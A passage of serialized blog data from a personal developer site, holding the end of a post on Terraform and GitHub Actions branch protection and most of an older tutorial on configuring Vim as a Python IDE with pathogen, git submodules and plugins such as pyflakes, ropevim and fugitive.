}}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will wait until the \u003ccode\u003epr_apply\u003c/code\u003e job completes and as long as it was\nsuccessful it'll merge the branch!\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: As I mentioned earlier, the event based actions do not run in the\ncontext of the pull request which means you cannot test changes to them during\nthe PR either.  You must merge the \u003ccode\u003eon-apply-finished.yml\u003c/code\u003e file to \u003ccode\u003emain\u003c/code\u003e\nbefore it starts working.\u003c/p\u003e\n\u003ch1\u003eBranch Protection\u003c/h1\u003e\n\u003cp\u003eThe final step to the process is to make sure you go to your github settings\nand make sure these status checks are required before merging. Branch protection\nis a feature that will prevent merging changes into a branch unless all\nrequired checks are passing.\u003c/p\u003e\n\u003cp\u003eGo to \u003ccode\u003eSettings\u003c/code\u003e -\u003e \u003ccode\u003eBranches\u003c/code\u003e -\u003e \u003ccode\u003eBranch Protection\u003c/code\u003e and add a branch\nprotection rule:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/branch_protection.png\" width=\"500\"\u003e\n\u003c/center\u003e\n\u003cp\u003eYou want to enable the following settings:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eBranch Name\u003c/strong\u003e: main\u003c/li\u003e\n\u003cli\u003e✅ Require a pull request before merging\u003c/li\u003e\n\u003cli\u003e✅ Require status checks to pass before merging\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThen for \u003ccode\u003eStatus checks that are required.\u003c/code\u003e select all of the ones we've\ncreated:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/required_checks.png\" height=\"200\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eHelpful Resources\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/tutorials/cloud/dynamic-credentials?product_intent=terraform\"\u003eTerraform Dynamic Credentials Tutorial\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/cloud-docs/workspaces/dynamic-provider-credentials/aws-configuration\"\u003eTerraform docs on Dynamic Credentials\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token\"\u003eGithub's understanding OIDC\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","category":"AWS","date":"2023-06-22T19:00:00-05:00","tags":["AWS","DevOps","SRE"],"title":"AWS From Scratch with Terraform - Setting up your Root Account for IaC  with Terraform Cloud and Github actions."}]},"Vim":{"count":1,"posts":[{"id":["old","turning_vim_into_a_modern_python_ide"],"path":"old/turning_vim_into_a_modern_python_ide","contentHtml":"\u003cp\u003eTL;DR:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ git clone https://github.com/sontek/dotfiles.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ cd dotfiles\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ ./install.sh vim\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eIntro\u003c/h1\u003e\n\u003cp\u003eBack in 2008, I wrote the article \u003ca href=\"http://sontek.net/python-with-a-modular-ide-vim\"\u003ePython with a modular IDE\n(Vim)\u003c/a\u003e. Years later, I\nhave people e-mailing me and commenting daily asking for more\ninformation, even though most of the information in it is outdated. Here\nis the modern way to work with Python and Vim to achieve the perfect\nenvironment.\u003c/p\u003e\n\u003cp\u003eBecause one of the most important parts about a development environment\nis the ability to easily reproduce across machines, we are going to\nstore our vim configuration in git:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ mkdir ~/.vim/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ mkdir ~/.vim/{autoload,bundle}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ cd ~/.vim/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ git init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe purpose of the autoload directory is to automatically load the vim\nplugin \u003ca href=\"https://github.com/tpope/vim-pathogen\"\u003ePathogen\u003c/a\u003e, which we'll\nthen use to load all other plugins that are located in the bundle\ndirectory. So download pathogen and put it in your autoload folder.\u003c/p\u003e\n\u003cp\u003eYou'll need to add the following to your ~/.vimrc so that pathogen\nwill be loaded properly. Filetype detection must be off when you run the\ncommands so its best to execute them first:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efiletype off\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ecall pathogen#runtime_append_all_bundles()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ecall pathogen#helptags()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets add all of the vim plugins we plan on using as submodules to\nour git repository:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add http://github.com/tpope/vim-fugitive.git bundle/fugitive\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/msanders/snipmate.vim.git bundle/snipmate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/tpope/vim-surround.git bundle/surround\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/tpope/vim-git.git bundle/git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/ervandew/supertab.git bundle/supertab\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/sontek/minibufexpl.vim.git bundle/minibufexpl\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/wincent/Command-T.git bundle/command-t\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/mitechie/pyflakes-pathogen.git\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/mileszs/ack.vim.git bundle/ack\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/sjl/gundo.vim.git bundle/gundo\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/fs111/pydoc.vim.git bundle/pydoc\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/vim-scripts/pep8.git bundle/pep8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/alfredodeza/pytest.vim.git bundle/py.test\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/reinh/vim-makegreen bundle/makegreen\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/vim-scripts/TaskList.vim.git bundle/tasklist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/vim-scripts/The-NERD-tree.git bundle/nerdtree\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule add https://github.com/sontek/rope-vim.git bundle/ropevim\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule init\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule update\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule foreach git submodule init\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egit submodule foreach git submodule update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThats it! Now that we've got our vim configuration in git!\u003c/p\u003e\n\u003cp\u003eNow lets look at how to use each of these plugins to improve the power\nof vim:\u003c/p\u003e\n\u003ch1\u003eBasic Editing and Debugging\u003c/h1\u003e\n\u003ch2\u003eCode Folding\u003c/h2\u003e\n\u003cp\u003eLets first enable code folding. This makes it a lot easier to organize\nyour code and hide portions that you aren't interested in working on.\nThis is quite easy for Python, since whitespace is required.\u003c/p\u003e\n\u003cp\u003eIn your ~/.vimrc just add:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eset foldmethod=indent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eset foldlevel=99\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen you will be able to be inside a method and type 'za' to open and\nclose a fold.\u003c/p\u003e\n\u003ch2\u003eWindow Splits\u003c/h2\u003e\n\u003cp\u003eSometimes code folding isn't enough; you may need to start opening up\nmultiple windows and working on multiple files at once or different\nlocations within the same file. To do this in vim, you can use these\nshortcuts:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eVertical Split : Ctrl+w + v\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eHorizontal Split: Ctrl+w + s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eClose current windows: Ctrl+w + q\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI also like to bind Ctrl+\u0026#x3C;movement\u003e keys to move around the windows,\ninstead of using Ctrl+w + \u0026#x3C;movement\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;c-j\u003e \u0026#x3C;c-w\u003ej\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;c-k\u003e \u0026#x3C;c-w\u003ek\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;c-l\u003e \u0026#x3C;c-w\u003el\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;c-h\u003e \u0026#x3C;c-w\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/krj0l.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eSnippets\u003c/h2\u003e\n\u003cp\u003eThe next tweak that really speeds up development is using snipmate.\nWe've already included it in our bundle/ folder so its already enabled.\nTry opening up a python file and typing 'def\u0026#x3C;tab\u003e'. It should stub\nout a method definition for you and allow you to tab through and fill\nout the arguments, doc string, etc.\u003c/p\u003e\n\u003cp\u003eI also like to create my own snippets folder to put in some custom\nsnippets:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ mkdir ~/.vim/snippets\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e$ vim ~/.vim/snippets/python.snippets\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ePut this in the file:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esnippet pdb\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e    import pdb; pdb.set_trace()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow you can type pdb\u0026#x3C;tab\u003e and it'll insert your breakpoint!\u003c/p\u003e\n\u003ch2\u003eTask lists\u003c/h2\u003e\n\u003cp\u003eAnother really useful thing is to mark some of your code as TODO or\nFIXME! I know we all like to think we write perfect code, but sometimes\nyou just have to settle and leave a note for yourself to come back\nlater. One of the plugins we included was the tasklist plugin that will\nallow us to search all open buffers for things to fix. Just add a\nmapping to open it in ~/.vimrc:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003etd \u0026#x3C;Plug\u003eTaskList\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow you can hit \u0026#x3C;leader\u003etd to open your task list and hit 'q' to\nclose it. You can also hit enter on the task to jump to the buffer and\nline that it is placed on.\u003c/p\u003e\n\u003ch2\u003eRevision History\u003c/h2\u003e\n\u003cp\u003eThe final basic editing tweak I suggest everyone start utilizing is the\nGundo plugin. It'll allow you to view diff's of every save on a file\nyou've made and allow you to quickly revert back and forth:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/2NrPS.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003cp\u003eJust bind a key in your .vimrc to toggle the Gundo window:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003eg :GundoToggle\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eSyntax Highlighting and Validation\u003c/h1\u003e\n\u003cp\u003eSimply enable syntax highlighting in your ~/.vimrc:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003esyntax on                           \" syntax highlighing\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efiletype on                          \" try to detect filetypes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003efiletype plugin indent on    \" enable loading indent file for filetype\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eBecause we enabled pyflakes when we added it as a submodule in\n~/.vim/bundle, it will notify you about unused imports and invalid\nsyntax. It will save you a lot of time saving and running just to find\nout you missed a colon. I like to tell it not use the quickfix window:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003elet g:pyflakes_use_quickfix = 0\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/ZfjFe.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003ePep8\u003c/h2\u003e\n\u003cp\u003eThe final plugin that really helps validate your code is the pep8\nplugin, it'll make sure your code is consistent across all projects.\nAdd a key mapping to your ~/.vimrc and then you'll be able to jump to\neach of the pep8 violations in the quickfix window:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003elet g:pep8_map='\u0026#x3C;leader\u003e8'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/VU9AB.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch1\u003eTab Completion and Documentation\u003c/h1\u003e\n\u003cp\u003eVim has many different code completion options. We are going to use the\nSuperTab plugin to check the context of the code you are working on and\nchoose the best for the situation. We've already enabled the SuperTab\nplugin in the bundle/ folder, so we just have to configure it to be\ncontext sensitive and to enable omni code completion in your ~/.vimrc:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eau FileType python set omnifunc=pythoncomplete#Complete\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003elet g:SuperTabDefaultCompletionType = \"context\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we just enable the menu and pydoc preview to get the most useful\ninformation out of the code completion:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eset completeopt=menuone,longest,preview\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/g4lxP.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003cp\u003eWe also enabled the pydoc plugin at the beginning with all the\nsubmodules; that gives us the ability to hit \u0026#x3C;leader\u003epw when our\ncursor is on a module and have a new window open with the whole\ndocumentation page for it.\u003c/p\u003e\n\u003ch1\u003eCode Navigation\u003c/h1\u003e\n\u003ch2\u003eBuffers\u003c/h2\u003e\n\u003cp\u003eThe most important part about navigating code within vim, is to\ncompletely understand how to use buffers. There is no reason to use\ntabs. Open files with :e \u0026#x3C;filename\u003e to place in a buffer. We already\ninstalled the minibufexpl plugin, so you will already visually see every\nbuffer opened. You can also get a list of them doing :buffers.\u003c/p\u003e\n\u003cp\u003eYou can switch between the buffers using b\u0026#x3C;number\u003e, such as :b1 for\nthe first buffer. You can also use its name to match, so you can type :b\nmod\u0026#x3C;tab\u003e to autocomplete opening the models.py buffer. You need to\nmake sure you are using the minibufexpl from my github since it has\npatches that make it much better to work with.\u003c/p\u003e\n\u003cp\u003eTo close a buffer you use :bd or :bw.\u003c/p\u003e\n\u003ch2\u003eFuzzy Text File Search\u003c/h2\u003e\n\u003cp\u003eTo make finding and opening files within your project even easier, we\nare going to use the command-t plugin. It does have some parts that need\nto be compiled, so its not already installed by adding it as a\nsubmodule. Go to your ~/.vim/bundle/command-t folder and run 'rake\nmake'. Yes you need ruby installed. By default, command-t is bound to\n\u0026#x3C;leader\u003et. This will use fuzzy text matching to find any file in your\nproject.\u003c/p\u003e\n\u003cp\u003eIt also supports searching only through opened buffers, instead of files\nusing \u0026#x3C;leader\u003eb.\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/hUcSl.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eFile Browser\u003c/h2\u003e\n\u003cp\u003eNERD Tree is a project file browser. I must admit I used this heavily\nback when I was migrating from Visual Studio and used to the Solution\nExplorer, but I rarely use it anymore. Command-T is usually all you'll\nneed. It is useful when you are getting to know a new codebase for the\nfirst time though. Lets bind a shortcut key for opening it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003en :NERDTreeToggle\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cimg src=\"http://i.imgur.com/R4ZzQ.png\" alt=\"image\"\u003e\u003c/p\u003e\n\u003ch2\u003eRefactoring and Go to definition\u003c/h2\u003e\n\u003cp\u003eRopevim is also a great tool that will allow you to navigate around your\ncode. It supports automatically inserting import statements, goto\ndefinition, refactoring, and code completion. You'll really want to\nread up on everything it does, but the two big things I use it for is to\njump to function or class definitions quickly and to rename things\n(including all their references).\u003c/p\u003e\n\u003cp\u003eFor instance, if you are using django and you place your cursor over the\nclass models.Model you reference and then called :RopeGotoDefintion, it\nwould jump you straight to the django library to that class definition.\nWe already have it installed in our bundles, so we bind it to a key to\nuse it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003ej :RopeGotoDefinition\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003emap \u0026#x3C;leader\u003er :RopeRename\u0026#x3C;CR\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eSearching\u003c/h2\u003e\n\u003cp\u003eThe final tool that really speeds up navigating your code is the Ack\nplugin. Ack is similar to grep, but much better in my opinion. You can\nfuzzy text search for anything in your code (variable name, class,\nmethod, etc) and it'll give you a list of files and line numbers where\nthey are defined so you can quickly cycle through them. Just bind the\nsearching to a key:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enmap \u0026#x3C;leader\u003ea \u0026#x3C;Esc\u003e:Ack!\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe use ! at the end of it so it doesn't open the first result\nautomatically.\u003c/p\u003e\n\u003ch1\u003eIntegration with Git\u003c/h1\u003e\n\u003cp\u003eWe installed 2 plugins, git.vim and fugitive, that give us all the\nintegration we need. Git.vim will provide us syntax highlighting for git\nconfiguration files; fugitive provides a great interface for interacting\nwith git including getting diffs, status updates, committing, and moving\nfiles.\u003c/p\u003e\n\u003cp\u003eFugitive also allows you to view what branch you are working in directly\nfrom vim. Add this to your statusline in ~/.vimrc:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e%{fugitive#statusline()}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe big commands you need to know:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGblame\u003c/strong\u003e: This allows you to view a line by line comparison of who\nthe last person to touch that line of code is.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGwrite\u003c/strong\u003e: This will stage your file for commit, basically doing\ngit add \u0026#x3C;filename\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGread\u003c/strong\u003e: This will basically run a git checkout \u0026#x3C;filename\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGcommit\u003c/strong\u003e: This will just run git commit. Since its in a vim\nbuffer, you can use keyword completion (Ctrl-N), like\ntest_all\u0026#x3C;Ctrl-N\u003e to find the method name in your buffer and\ncomplete it for the commit 